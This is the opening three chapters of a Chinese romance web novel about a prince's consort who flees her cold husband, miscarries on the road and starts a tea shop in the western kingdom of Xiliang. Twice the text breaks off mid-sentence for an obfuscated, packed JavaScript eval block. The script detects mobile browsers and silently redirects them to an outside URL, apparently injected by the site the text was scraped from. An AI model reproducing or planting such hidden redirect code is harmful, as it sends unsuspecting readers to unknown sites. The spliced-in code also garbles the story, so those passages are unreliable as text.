《王妃她移情别恋了》 1. 第 1 章 沈业去上朝了,我屏退婢女独自一人坐在窗下,认认真真写着和离书。 嫁给沈业至今一年零五个月,他从来没给我好脸看。 他甚至都不怎么来我房里,每次来不是因为要进宫叩谢皇恩他来叮嘱我别丢他的人,再就是让我别总找他小妾的麻烦。 其实我不是去找她麻烦的,王府的人都知道王妃不受宠,没人愿意和我说话,也没下人敢和我玩,我一个人待着实在太无聊,又不能每天都出府,只好去找他的小妾打叶子牌。 我一赢多了钱她就委屈巴巴给沈业脸色看,沈业就来骂我,殊不知其实我手气臭得要命,输钱次数比侧妃多得多。 好像是昨天,他跟我说他的心肝侧妃有了身孕,让我好好照顾她,别凑到她身前让她烦心,对孩子不好。 他一走我就来了气,又不是我让她怀的孩子为什么要我照顾,王府的事我哪件能做得了主,管家的事一直都是侧妃来做,想吃什么就有最好的,衣食皆是上品甚至比我这个王妃还好,我能照顾得了她什么。 反正我在王府的日子过够了,他也有子嗣不怕没人承袭爵位。 和离书写好了,字迹一如既往地潦草,我偷偷摸摸压在他书房桌子的书下面,等他回府处理公务看到和离书,我早都不知跑出上京多远了。 他说要休了我不是一天两天了。 他不喜欢我,我也没那么喜欢他。 他迫于皇命娶了我,我迫于父命嫁了他。 这桩婚事除了皇帝和我爹高兴,我和他还有他的侧妃,没一个人高兴的。 我换了身平时穿的男装,揣了一包金子正怀里准备出门,我的婢女莲儿拦住我说:“小姐,王爷前两日要您抄献给太后的佛经,字数不少您再不抄就来不及了。” 十日后太后生辰,他要我略表对太后的心意,让我抄好佛经奉上。 我最烦写字。 我在乡下的时候没人逼着我写字,我只要会认会写就成,进了王府之后动不动就要抄书。 抄得我头晕眼花脖子疼,晚上睡觉手都抽抽。 可是我既然决定要走,还管什么生辰不生辰。 我常溜出王府到街上玩是府里心照不宣的秘密,他们才不把我放在眼里,出府的路上没人会拦着我。 出门向西三条街,有一家酒肆,我闲时会去那儿喝酒。 我既然决定要跑,当然早早做足准备,我的好朋友李长季在那儿等着我,带我出城。 他惯常穿一身白袍,以抹额勒在发间,长身玉立眉眼如画,手里拎着把用了多年的宝剑。他长得实在太过俊秀,仅仅是站在那儿,路过的女子不管年轻还是上岁数,都会频频抬头看他两眼。 李长季脸上没太多表情,看到我的瞬间露出温柔的笑,眼底有些震惊:“你还真来啊?” 我自顾自坐下倒杯酒喝,洒脱道:“我昨天跟你说的可不是开玩笑,我连和离书都写好了,就放在他书房桌子上,他晚上回去就能看见了。” 李长季疑惑地给我添酒:“他真的能跟你和离?他们王室的人哪能说和离就和离,不都挺麻烦的嘛。” 枫叶红是我最爱喝的酒,因其酒色艳如枫叶而得名,可今日尝着味道有些怪,不似往日醇香,反而有些发苦发涩。 我把酒递到李长季面前:“你闻闻这酒,老板不会拿坏酒骗人吧。” 李长季闻后直摇头:“这不跟往常的一样吗哪里不对,我问你话呢,能离得了吗?” “能不能离也就那样,反正我不想再在王府待下去。”我让老板上瓶别的酒,悄悄凑到李长季耳边,“你送我去西凉吧,我要是还在上京,他就能找得到我,不如走得越远越好。” 天底下我只信得过李长季,只有他不会出卖我,也只有他会对我好。 李长季无奈地看看我,问道:“那你爹呢,下辈子再也不见?” 我轻声道:“我跟我爹你又不是不知道,他害死我娘,又把我嫁进王府,我巴不得再也不见他。” 李长季知道我是铁了心要走,再也没说拦我。 我想喝完这瓶酒再走,旁边忽然有一行人路过认出了我,带头的向我行礼:“王妃。” 他是沈业身边的护卫徐津,我在街上乱逛时总能遇见他。 我像往常一样跟他打了招呼,假装什么事都没发生。 实际心早怦怦乱跳,要是被他发现我想跑,他一定会告诉沈业。 徐津的目光从李长季身上扫过,转头对我道:“王妃独自在外要注意安全,最好不要与不三不四的人来往,末将还有公务在身,先告辞。” 李长季听完嗤笑一声,手指捏着酒杯打转,看向徐津的眼神凌厉而厌恶,阖眸再抬眼看我时,眼里只剩温柔。 沈业对我不好李长季都知道,对沈业的亲信自然不会有好脸色。 我不想再喝酒了,让李长季现在就带我走。为这次出逃我准备了两个多月,可不能还没跑就被逮回去。 他给我买的枣红马就跟他的马一起拴在外头,我俩一路安然无恙出城,守城的士兵没有拦我。 离上京三四十里,我忽然觉得头晕目眩,直直从马背上摔下来眼前一片漆黑,我好像被李长季抱在怀里,用手轻轻拍我的脸还大声喊我的名字,慢慢地他的声音越来越小,我也没了意识。 我醒来时躺在一张床上,刚动动手指李长季立刻过来握住我的手,从我十二三岁知道男女有别后,我和他都会刻意保持距离,现在他一反常态,反让我意外。 他看我的眼神太复杂,像心疼,又像是同情,还有些许地无措。 我不会是得了什么重病要死了? 别啊,我连十八岁的生辰都没过就没几天活头了。 李长季缓缓道:“五娘,你有身孕了。” 什么! 我急得从床上蹦下来,在地上走来走去。 该死的沈业! 他很少会在我房里过夜,最近一次还是太后说王府一直没有子嗣,让我俩抓紧生个嫡子出来,那晚他喝得酩酊大醉来我房里,对我抓又啃又咬粗暴极了,就这我都能有身孕。 老天真是不长眼。 李长季摁着乱转的我坐下,劝我说:“你已有两个月身孕,要不还是回去吧,趁他还没看到和离书,一切都来得及。” 他向来沉稳冷静,到这种地步还在为我着想,不像我冒冒失失,总会惹出不少事来。 我脑子一团乱,沈业那么讨厌我,可我居然怀了他的孩子。 我又怎么能回去呢? 万一他看见和离书,却根本不想找我,结果我自己灰溜溜回去了,岂不是很没有面子。 我摸了摸小腹,这是我第一个孩子,可我不得不舍弃他。 我做不到为沈业生下这个孩子,独自抚养他长大成人,我的孩子不能像我一样从小只有娘没有父亲,不能像我一样无比渴望家的温暖,缺少最简单的爱。 我说:“你找大夫给我开一副落胎药吧。” 李长季眼里透露诧异的神色,他恐怕没想到我要落胎,他急道:“你再想想,好歹是一条命,咱俩也不是养不起,你要是嫌麻烦生下来我帮你带,咱们一家三口日子也能过,你年纪还小,落胎实在太伤身体了。” 我深深摇头:“孩子生下来,我和王府的牵绊只会越来越深,天南地北我怎么都躲不过沈业的手心,你不用劝我了,去帮我准备药吧。” 李长季一步三回头地出门,小半个时辰后,他端来一碗极浓极苦的药,给我之前他在我床边站了好大一会,我没有迟疑,从他手里端过药一饮而尽。 他没走,坐在胡床上看着我。 落胎药发作时的痛楚难以忍受,他想陪着我,不让我在最痛苦最虚弱时孤立无援。 药喝下去不久,小腹传来若有若无地绞痛,随着痛感越来越强,我额头上的汗也越来越多,他拿着帕子擦了又擦,比我还着急。 我疼得手不知该往哪里放,只能死死攥住衣角,他见状拉过我的手放在他手心,我握着他的手借力,调整着呼吸。 我想哭,我好想我娘,我娘在半年前就死了。 她死的时候我甚至都不在她身边,没亲眼看着她走。 天杀的沈业,怎么这么疼啊… 不知过了多久,我感觉身下有东西流出来濡湿衣裤,我用尽最后一丝力气喊道:“快去找大夫!” 然后就晕了过去。 就像做了一个长长的梦,梦里是李长季惊慌失措的脸,有人来回奔走着,还有人在脱我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499036|170252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣裳。 睡了一觉后,我醒了。 身上的衣裳换过一套,都是干干净净的。 李长季见我醒了端过一碗苦药喂给我,他说:“大夫说你要坐小月子,好好养养身子。不如就在这里住下吧,我给了老板一个月的房钱,等你身子好全再走,别落下病根。” 李长季用这个理由让我留下养身子,我没法反驳他,我知道其中厉害,我娘就是因为月子没坐好落了一身病,我不能像她一样。 我感激道:“那就麻烦你了,我出来时带了钱,足够这段时间用。” 我想起来拿给他,他伸手按住我:“刚才老板娘给你换衣裳的时候都交给我了,你什么都不用管,好好养着。” 我点了点头,他不再说话,出门让我自己待着。 李长季待我是真好。 我十岁那年上山摘野果子吃,遇到了十六岁的李长季,他被毒蛇咬伤奄奄一息,晕倒在树丛里呻吟着,我帮他吸出了血,把他背下山,又找来大夫给他看病,几乎花光我娘所有的积蓄,才保住他一条命。 从那之后他总来找我玩,他是江湖游侠行踪不定,但每隔一月就来看我一次。 每次来时都会带礼物给我,一支步摇,一本书,甚至是一份烤的恰到好处滋滋冒油的猪肉,反正绝不会空手来。 我娘没有多少钱,但也会做好吃的招待他,乡下最多的就是芋头和红薯,可即便是几块烤芋头,他也吃得很香。 他是我唯一的朋友,村里的孩子都嫌我是小妾生的女儿,骂我是小娘养的不愿跟我玩,只有他会常常来看我。 跑了一天我实在累极了,刚盖上被子就沉沉睡过去。 到夜里不知什么时辰,楼下一阵乱糟糟的声音吵醒我,我刚要起来去看,门外有人小声敲门,我心惊胆战地开个缝向外看,是李长季在门口,他一进门就拉着我往床上走,边走边脱自己的外袍,很快他就只穿着中衣站在我面前,然后示意我解衣裳,同时看了眼门外。 我恍然大悟,来的是官兵,极有可能是来抓我的。 他是要和我演一出戏。 我也顾不得矜持,躲在被子里脱下中衣,想了想又连贴身的小衣一起脱了,只穿了鹅黄色的抹胸。 李长季两只胳膊撑在我身上,眼睛极力躲闪不知该往哪里看,我见他窘迫的模样很想笑,可很快忍住了,因为我听见官兵上楼的脚步声。 眼看离房门越来越近,为让这场戏更真,我伸手搂上李长季的脖子,李长季还未娶妻,被我一抱脸先红了,神情颇不自然。 房门被一脚踹开,借着领头官兵手里的火把,众人显然被眼前香艳的一幕惊到了。 李长季埋头吻我的锁骨,恰到好处遮住我的脸,从官兵的位置看过来俨然是一对浓情蜜意的小夫妻,正要行周公之礼。 随着开门的响动,我装作害怕的样子“哎呀”一声将脸埋进他胸前,他顺手给我盖上被子挡住脸。 “几位官爷,大晚上的这是做什么?”李长季赔笑道。 官兵们见这副情状都嘻嘻哈哈起来看热闹,隔着被子,我模糊听到有人道:“见过画上这女的吗?” 李长季的身体往前凑了凑像是在看画,而后道:“没见过,小的今天刚和娘子来这儿住下,还没出过门呢。” 我有点害怕,手不停地抖,李长季似乎感受到我的异常,不动声色拍了拍我肩。 可我也感受到他的紧张,我和他都清楚,如果我像现在这样被抓回去,外人眼里王妃已然失了贞洁,沈业那么讨厌我,他又是个坏到不能再坏的爆脾气,为保皇家颜面,我只有死路一条。 领头的官兵嬉笑道:“让她转过来。” 李长季呼吸一顿,继而继续陪笑:“乡野女子脸皮薄,大人就放过她吧…” 官兵们看了活春宫,猥琐地笑了几声。原来他们只是想借此调戏于我,许是身负重任,又去下一间屋子搜查。 总算过关了。 可我俩都不敢放松,谁知道他们会不会回来再查一遍,只能保持这个尴尬的姿势等他们出客栈。 随着时间流逝,我明显感觉到了小腹传来的酸痛,官兵离开客栈,李长季立刻下床穿衣裳,我一把拉住他,虚弱开口:“我好像流血了…” 2. 第 2 章 夜已经深了,官兵刚搜查完客栈闹得一众客人人心惶惶,此时再去找大夫无异于打草惊蛇。无奈之下,李长季只好先喂给我两颗止血的药丸,又喂我喝热水,不到一刻钟,我的血终于止住了。 他不敢再离开,生怕我再出事来不及喊他就先死了,继而一整晚都守在我床前,好在那两颗药是真够劲,直到天明我都好好的。 可我们也不敢再在这儿住下去,李长季连房钱也不要了,第二天天亮就要带我离开。 走了许久我腰酸得不行,前一天刚小产,第二天就骑马奔波也就只有我这样不知天高地厚的人才能干得出来。 五月的骄阳晒得我头脑发晕,李长季怕我又摔下去,让我跟他骑同一匹马,他把我护在身前让我靠着他,我才稍微好受一点。 马不能骑太快以免颠着我,我们只能慢悠悠走着,直到天快黑才找到小村庄借宿。 但更多的是露宿山野,还在中原地界沈业又派出追兵,我和李长季不敢住客栈。李长季进城暗中打探情况,奇怪的是沈业没有发海捕文书,也没下令让州县的长官抓人,回想起那夜的官兵没有提及画像中女子的身份,沈业倒像是在悄悄找我,没有声张。 如此一来,我被抓回去的可能便小了不少。 这夜我们住在一处山坡下,马背上有羊皮做成的毯子,他把毯子铺在一起,用披风裹着我保暖,让我靠着他睡觉。 我睡不着,这几日的追兵比之前多了,我们放弃走官道转而走小路,堪堪避开几次搜查,每次远远看到官兵我都心肝发颤,我怕被抓回去,怕再看到沈业那张凶巴巴的脸。 李长季躺在我身边,呼吸声均匀平稳想必是睡熟了,我想找东西靠一靠,于是保持着该有的距离,偷偷把头抵在他手臂上,一声不响流眼泪。 黑暗中一只手在摸我的头发,我没有睁眼,任他像年少时那般安慰我。 我是认识李长季之后爱哭的,受了委屈他来安慰我,边摸我的头边说:“还是个小孩子啊。” 我没心没肺长到十岁,像根野草一样随风生长,难听的话听过,苦活累活干过,为不让我娘担心,我把这些都压在心底,面上仍是笑脸对人。直到李长季出现,他说他没有家人,会把我当妹妹一样对我好。 “赶路太辛苦,累了哭一哭也好。”李长季手心暖暖的,他好像我娘。 我快睡过去时,远处的村庄喧嚣声一片,李长季警觉起身,用手拍拍马的侧脸,马温顺地躺下,一人高的野草把我们的身影挡得严严实实,在夜晚完全看不出藏着人。 这样的情形在逃亡路上时不时就会发生,我缩在李长季旁边竖起耳朵听他们说话,隐约听到有人说什么把画上的人交出来,什么格杀勿论,风声太大,我只听得见这几句。 官兵无功而返,村庄又恢复平静。 我抱着膝盖抖得如同筛糠,想哭都哭不出来。 沈业说格杀勿论。 肩上一暖,李长季的披风复又披在我肩头,他把我揽过去靠在他怀里,轻声道:“没人了,哭吧。” 我终于绷不住哭出声,胡言乱语着我的委屈。 我知道沈业讨厌我,他从来都没喜欢过我,可是我没想到他会恨我到这种地步。 李长季听我乱七八糟说完一堆话,这些他早就知道的事实,显然他也没料到沈业会对我起杀心,震惊之余搭在我肩上的手将我搂紧几分,我的额角蹭在他柔软的脖颈上,我听到他说:“有我在,我不会让沈业伤你。” 我们一路上躲躲藏藏,终于走到玉门关,李长季花钱买来假的身份路引,我和他一同藏入商队,乔装打扮后混出关口,再往前走就是西凉境。 沈业再手眼通天,他也不会想到我在这里,也没法把我抓回去。 西凉和上京大不相同,风沙大不说,空气也异常干燥,一会儿不喝水我的嘴巴直起皮。 忙乱几天后,好歹算是安顿下来。 西凉人说话和中原口音倒是差不了多少,磕磕绊绊我能听懂一些,李长季帮我在西凉王城里盘了个小店,卖些茶水果子,算是有个营生。 中原的茶很受西凉人欢迎,李长季还认识几个茶贩子,这样我就有长期的茶叶来源,不得不说他考虑得很周到。 我还从来没做过生意,不知道该怎么招揽客人,煎水倒茶手脚也不那么利索,李长季在旁掩唇偷笑,察觉到我锋利的眼神时连忙收起笑容,顺手接过我手里的水壶,去给客人添水。 “别着急,一点点来。”他走到我身后,刚好扶住快要倒下的我,伸腿勾过小凳让我坐下休息。 他半蹲在我面前仰头看我,眼中的担心不加掩饰:“又头晕?” 我闭眼点头,淡淡“嗯”了一声 我小产后身体还没有养好就不顾李长季的阻拦急着开店熟悉生意,最近总是头晕发虚,多站一会眼前直冒金星。前日关门刚走到后院便眼前一黑晕倒在地,多亏李长季听到异常过来把我抱回房里,我才躲过一劫。 西凉中午过于炎热,我难受不适的次数也多了起来。 李长季见我点头,起身要去关店,店里虽只有稀稀落落三四个客人,他们也不情愿平白被赶走,李长季只好赔笑道:“我家掌柜的不太舒坦得休息几日,实在是抱歉,今天的茶钱就免了吧,再送各位一小包茶叶,还望各位见谅。” 听到李长季说免茶钱又送茶叶,他们才心满意足走了。 我说:“哪这么娇气,你瞧我这不是好好的…”我忍着头晕站起来想走两步给他看,还没迈步子脚下一空,我已经在李长季怀里了,本能让我赶紧搂住他的脖子不掉下去,抬头却看到他俊秀柔美的侧脸,突然想起那天晚上和他假扮夫妻贴得那么近,脸先红了。 我脸一定红得厉害,我自己都觉得火辣辣地烫,只好埋头躲避他的视线,却被李长季视为想跑:“脸白成这样,还动来动去想跳下来,你要不要命了?” 他毫无半分旖旎念头,倒是我多想。 之后好多天李长季都不让我开门,说要给我补身体,他每日都去买羊汤给我喝,额外加钱放整碗羊肉,目不斜视盯着我吃完。 一日我清晨起床想出去走走,一开门看到的不是太阳,而是站在门口的李长季,他肩上铺满晨曦,被太阳照地金闪闪发亮,额头隐约有汗沁出,手中端着碗:“我听说这儿的女人坐月子都喝羊奶补身,想来坐月子和小月子也差不多,以后你每天早上都得喝一碗,这是今天的,烧开放温现在喝正好。” 我愕然。 我以为这就算极限,但李长季总能让我目瞪口呆,晚饭时他架起一个烤肉炉子,炉子上是肥肉相间烤得恰到好处的牛羊肉串,滋啦啦冒着油花,香气迫不及待往我鼻子里钻,他洒上一小撮盐来回翻烤,待盐入味递出一串给我,让我尝咸淡。 羊肉外酥里嫩,肥肉入口即化丝毫不腻,肉汁都锁在肉里,一点都不干柴,我不由对李长季竖起大拇指,一通乱夸:“倘若你去卖羊肉串,必定赚得盆满钵满。” 他矜持地扬起嘴角,取出两块饼放在炉上,烤热后把羊肉从串上取下来夹在饼里左看右看:“你每天晚上吃一个,保准壮得像小牛犊,这跟上京卖的有什么区别,嗯…区别就是我做的更好吃。” 我还以为他要让我吃两个,正要反驳时他只说一个,提起的心安稳落在原地,李长季像是看穿我的心思,对我说:“那个是我的,咱俩一人一个。” 于是我坐在他旁边,两人一起专心吃饼吃肉。 吃饱后我忍不住打了个饱嗝,现在我连打嗝都是羊膻味! 李长季轻笑两声,转头看我:“你的气色好多了,也没刚来时那么瘦了,挺好。” 落日余晖不似午时毒辣,风也变得凉快,我迎风仰起脸,大笑着回他:“还得多亏你细心照顾我,除了娘亲,没人这么在乎我。” 李长季声音凉凉地在我耳边响起:“你娘临走之前我去看过,我答应过她要好好照顾你,绝不食言。” 我想起娘亲,难过地垂下头。 但我不想让李长季知道我一直为此伤心,又怕他为让我伤心而自责,于是佯装开心不在意地样子笑了笑:“娘亲要是看到我过得这么好,她一定会为我高兴!” 李长季有些意外:“过得这么好…你真觉得和我在一起过得好?” 我反问道:“为什么不觉得好,我能赚钱养自己,还离开不爱我的男人,看以前没看过的风景,最重要的是你还想小时候那样陪在我身边,比我在王府开心多了。” 李长季听到最后,微微皱起的眉头变得平坦,眼底的笑意更深。 “能和朋友长久相伴,确实是世间最值得让人庆幸的事。”他说,“人生在世,最珍贵的便是朝朝暮暮。” 开始我还嫌李长季小题大做,直到十几日过去我头不晕了腿也不抖了,之前还隐隐作痛的小腹也暖暖地舒服,才惊觉李长季的话还是得听。 李长季左右看看我的脸,淡淡道:“脸圆了,胖了,好像个子也长高了,这才像是一个人能扛起茶馆的样子,我可以放心走了。” 李长季留在西凉的时间太久,他必得回上京一趟,我则继续经营茶馆,做我的小生意。 生意不咸不淡,每天能赚百十文钱,可就是这样薄利的生意,还引来了人的嫉妒。 早上我刚到茶馆擦完桌子生起炉子,卖了几杯茶就有人来找茬,那人掀了桌子故意引来周围人围观,怒气冲冲指着我说我的茶不干净。 “大家伙来看看,这茶里是什么东西?”他从茶杯里挑出几根羊毛来,转着圈给人看,面目嚣张道,“这么不干不净的茶还敢给人卖,一壶茶收十文钱,不是黑店是什么!” 我卖的茶一向干净,前一晚挑了又挑没一丁点杂质,如何能受得了他的污蔑吃下这个暗亏。 于是我拿过其他几位客人的茶杯也给周围的人看了,大声道:“各位邻居看看,都是一样茶叶,为什么就他的有羊毛别人的没有,大家猜是为什么?” 人们都低头说着悄悄话议论纷纷,那人仍不死心叫嚷:“还能为什么,是你杯子不干净吧!” 我趁他煽动围观人情绪时猛然用力扯下他的包袱,包袱里一块羊毛轻飘飘落在地上,众人哗然。 我清清嗓子挥手示意大家安静下来,澄清道:“大家可否看见了,我这店里没有一块羊毛,反而是他自己包袱里有,至于他包袱里的羊毛为什么会落在我的杯子里…” 我拉长声音勾起了众人好奇:“那我就不知道了,大家伙有人知道吗?” 一个清脆的女声在我身后响起:“就是他自己放的,想搅黄你家店的生意!” 众人哄笑,其中意味不言而喻,我心中微微得意。 那人见栽赃不成恼羞成怒,拎起拳头就朝我砸过来,我来不及躲闪眼看要被他打到,忽然身旁凭空伸出一只有力的手握住那人的手腕,反拧住他的胳膊伸至背后,疼的那人哭爹喊娘连连求饶。 最后他保证再也不来找我麻烦,救我的人才放他走。 这场闹剧就这么草草结束了。 对于他俩的相助我很是感激,于是邀请他们坐下喝杯茶。 女子爽快地同意了。 我从柜子最底下取出珍藏的雨前龙井,这是我留给自己喝的不舍得卖,价贵也不会有人买,可他们既然是我的恩人,这点子茶叶算得了什么。 女子轻嗅着茶香,看起来很满意,端起来尝了尝道:“这茶真香,比咱们的好多了,哥哥你尝尝。” 她身边的男子原来是她哥哥,我还以为是她夫君呢。他抿了一口也笑了:“是很好,老板,你这小茶馆里怎么有这么好的茶?” 我得意道:“我是中原人,这茶是我从中原带过来的,在这儿可买不着。” 我没骗他,这儿确实买不着。 各地贡品,每年要挑最好的进献给宫里,其余的才会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499037|170252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市场上卖,王府也会得到不少贡品。李长季好酒好茶,我就经常偷摸带一些好茶叶出去送给他,他一个人喝不完,又把这些分了些给我。 所以我手里的这些茶叶,算是皇家贡品,一般茶贩子是没有也不敢贩卖的。 西凉的茶叶全靠中原茶贩子,他们当然没有喝过。 “你果然不是我们西凉人,看着就是中原人的打扮,诶,你叫什么名字?”女子问道。 我说:“我叫宋卿言,你叫我五娘就行。” 女子微微不解:“五娘?” 我说:“我们中原人家的孩子,在家都称呼排行,我在家排行第五,家里就叫我五娘,如果是男孩,就叫五郎。” 女子思索一阵笑道:“我明白了,那我在家排行第七,要是按你们中原人的叫法…就叫七娘了?” 我哈哈大笑:“真聪明。” 她也仰头笑了起来,似乎是听到什么特别开心的事,还高兴地轻拍了下桌子,她笑起来很好看,眼眸深邃鼻梁高挺,肤色比我白不少,一双琥珀色的眼珠如同宝石似的漂亮,像沙漠里的小红狐一般灵动。 过了一会她终于不再笑了,说道:“我叫康米娜,是西凉七公主,这是我四哥康英。” 我惊讶的张大嘴,难以置信道:“你是公主?” 康米娜自豪的点点头,琥珀色的眼睛映照着朝阳闪着清冷的光泽,好看的我几乎要睁不开眼。 “所以你要是在这儿受了欺负,随时来找我,我帮你收拾这些坏人。”康米娜道,“我喜欢你的性子,喜欢和你说话,以后我们就是朋友了,就算我不在王宫里,你找我四哥也行,他也会帮你的。” 康米娜用胳膊肘怼了怼康英,康英反应过来也急忙答应,他们兄妹二人真是有趣,我指一指门口的两匹马问她:“你是要出门吗?” 她点点头,神神秘秘的对我说:“我听说往西三十里地的沙漠绿洲有一处极美的泉眼,到了晚上,在月光的照耀下能变成甘醇的美酒,我想去看看。” 我往后仰了仰身子疑惑地看着她,这种骗人的鬼话我都不会信,她堂堂西凉公主还能听信这等谣言。 不过我还是很捧场,装作好奇道:“真的?” “当然是真的!”她信誓旦旦点头,“阿言,反正你闲着也是闲着,不如跟我们去看看吧。” 我迟疑道:“我还得赚钱养活自己呢…” 康米娜大方的从康英的荷包里掏出一小小块银子给我,大手一挥道:“今天所有的茶钱我包圆了,这下总能和我去了吧?” 说实在的要是放在从前,过惯王府养尊处优好日子的我哪会把这点小钱放在心上,可现在是自己挣钱养自己,何必跟银子过不去,于是我很不争气的关店门,牵着马跟七公主走了。 虽然她是公主,可我也做了一段时间的王妃,加之常常进宫见太后皇帝和诸位公主,见多地位尊贵的人,对她的身份习以为常,她见我不因为她的身份而阿谀奉承刻意讨好,反而对我更加亲近。 我心里轻笑,地位尊贵的人面对的都是卑躬屈膝之辈,满尽恭维之词,想必是很喜欢和寻常人说话的。 比如她这会正大剌剌的问我:“阿言,你是中原人,为何要到我们西凉来?” 我直言不讳道:“我嫁过人,我从前的夫君不喜欢我只喜欢小妾,他的小妾怀了孕,我不想看他们恩爱,所以自己写了和离书,来了西凉。” 康米娜仿佛是被我的话吓到了,连用来挡风沙的纱巾差点被风吹跑都忘了抓,她张大了嘴,傻愣愣道:“你居然嫁过人…那你也是真够厉害的,自己写了和离书就偷偷跑了…” 中午的日头毒得很,我几乎睁不开眼,皱着眉看她:“是啊,我还怕他哪天来西凉把我抓回去,我可不想再跟他过日子了。” 康米娜骑在马上想了一阵,爽朗地笑起来:“我觉得你做得很对,我要是嫁人,一定要嫁自己喜欢的人,他喜欢我,我也喜欢他,我才不要每天面对不喜欢的男子,那可真难受。” 她口中这样难受的日子,我在王府过了一年半。 西凉早晚温差大,中午还晒得要命,下午刚到酉时天气就凉了起来,天色将晚,可康米娜说的那个会变成美酒的泉眼丝毫不见影子,我又饿又渴,只能闻到空气中沙尘的味道,带来的水早喝没了,我垂头丧气地问她:“到底多久才能到啊…” 她心里也没了底,带着询问的眼神转头看向了康英,康英正从嘴里呸呸出几粒沙子,闻言拿出羊皮地形图看了看。 “还有十三四里…”康英皱起了眉头,“再走走吧,往前走看能不能找到水喝。” 康米娜“啊”一声不满地夹了夹马肚子,催着马快走。 我可真冤枉啊,好好做着生意就被拉了过来寻找那个传说中的泉水,顶着大太阳走了半天什么都没有找到差点渴死。 我问康英:“你不是王子吗?” 又转头问康米娜:“你不是公主吗?” 康英不解的看着我说:“那又怎么样?” 怎么样?他还问我怎么样? 我朝他喊道:“你们俩为什么不带着护卫来,要是有护卫我们就能带更多的水了,不至于被渴死吧…” 他瞟了眼前面气鼓鼓的康米娜有些心虚:“我们俩是偷偷跑出来的,当然不能带护卫。” 他说的有些道理。 如果每次出来护卫都要跟着的话,我肯定跑不出上京。 要知道王府的府兵和各种护卫加起来都要两万多人,我变成苍蝇他们都能找到我。 但不还是被我跑出来了吗? 康英擦了擦汗:“你再坚持一会,等有水就好了。” 可快剩两三里的时候我就坚持不住了,小腹疼的厉害头还一阵阵发晕,眼前跟有星星乱飞一闪一闪的。 还没等我喊人我就掉下马一头栽进了沙子里,沙子还有尚且温热,栽下去反而没那么难受。 3. 第 3 章 等我缓过劲儿天已经黑了,我躺在随马带的毯子上,身上披着挡风的纱巾。 康米娜见我清醒欣喜若狂,拿出水囊给我,我喝了一口舒服了不少,才注意到我们三人此时正在一片绿洲之中。 “阿言,我们找到了!”康米娜兴奋地拉着我去看泉眼,我的体力还没完全恢复,走了两步一瘸一拐的。 康英忍不住说:“妹妹,阿言刚醒你让她再歇会吧,我们都到这儿了泉眼又跑不了。” 我可真谢谢他替我仗义执言,康米娜听见我喘得呼哧呼哧,立即松手让我原地休息。 闲坐着无聊,为着解闷,康米娜讲起了她小时候的趣事。 她是西凉王的七公主,与大王子和四王子也就是康英同为王妃所生。康米娜比我小了两岁,整日无所事事,就让康英带着她四处玩闹,骑马射箭俱是一流。 听她说儿时趣事,我忽然想起了我在乡下的日子,土里土气跟村里的孩子一般无二,哪能看出来是大官的女儿。 回到相府后我的嫡姐很看不起我,我没见过她妆台上那些精致的首饰想摸一摸,她立刻推开我嫌我脏。 其实我一点都不脏,我娘每天都把我收拾地干干净净,她是嫡母身边的丫头很是讲究,哪怕我的穿戴比不上旁人精致,我的衣裳也总是干净的。 后来她知道是我替她嫁给那位喜怒不定城府极深且杀人如麻的宣王爷时,立马笑得十分真诚客气,跟我说她盒子里的首饰任我随便挑。 康米娜讲完她的事,开始一个劲问我。 “阿言,你从前的夫君是做什么的,你生得这样好看,他为什么不喜欢你?” 我从来不觉得自己好看,因为我娘总跟我说如果她长得再漂亮点,说不定我爹就会来接我们娘俩回去。 我和阿娘长得像,她说自己不好看,那我也应当没多美。可在我眼里,阿娘是天底下最美的女子。 我有时候在想,如果我再好看点,沈业是不是就会喜欢我了。 她又说:“阿言,你的爹娘呢,既然你夫君不喜欢你为什么还要娶你,你爹娘为什么会同意你嫁给不喜欢你的人?” “阿言,你跟不喜欢的人过日子一定很辛苦吧…” “好了妹妹。”康米娜还想再问,被康英打断了,“她刚醒过来,你让阿言清静会吧。” 我强行挤出一抹笑:“这些话说起来可就太长了,公主既然好奇,等我回去慢慢说给你听。” 我感激地看了一眼康英,他比康米娜年长三岁通人情世故,看我神色尴尬就知我不想提起往事,及时阻止了她。 十五的月光亮极了,照在沙漠的浅滩上白盈盈的,我休息够了和他俩去看泉眼,用水囊小心翼翼打好清水喝了两口,才发现和平常的水没有什么两样。 康米娜跺了跺脚,气鼓鼓道:“这些传说净骗人,一滩水哪里能变成美酒,都是骗傻子的吧!” 确实是骗傻子的。 我噗嗤笑出声,笑了几下再也忍不住,坐在沙地上哈哈大笑起来。 我们装完了水要走时才发现周围一圈小动物的爪印,康英看了一阵神色紧张:“应该是周围的动物都来这里喝水,才有这么多印子,到了晚上会更多,一会睡的时候小心点,别遇上野狼才好。” 好在已经点起了火堆,有火光的话野兽不会轻易前来。 为免火堆熄灭晚上发生危险,康英又重新捡了些枯树枝,沙漠里多得是枯死的干树,没有受潮能够燃烧得更久。 晚上为了安全我们把毯子铺在一起,开始还说轮换着守夜,最后都睡了过去,到后半夜时,我隐约听到几声狼嚎,猛地睁开眼睛,康英已经坐起来了。 “是野狼。”康英低声道,他眼中带着杀气,戒备看向四周。 我和康米娜背靠背拿着燃烧的柴火,月光下露出几双幽蓝的眼睛,我下意识咽了口唾沫,腿微微发抖。 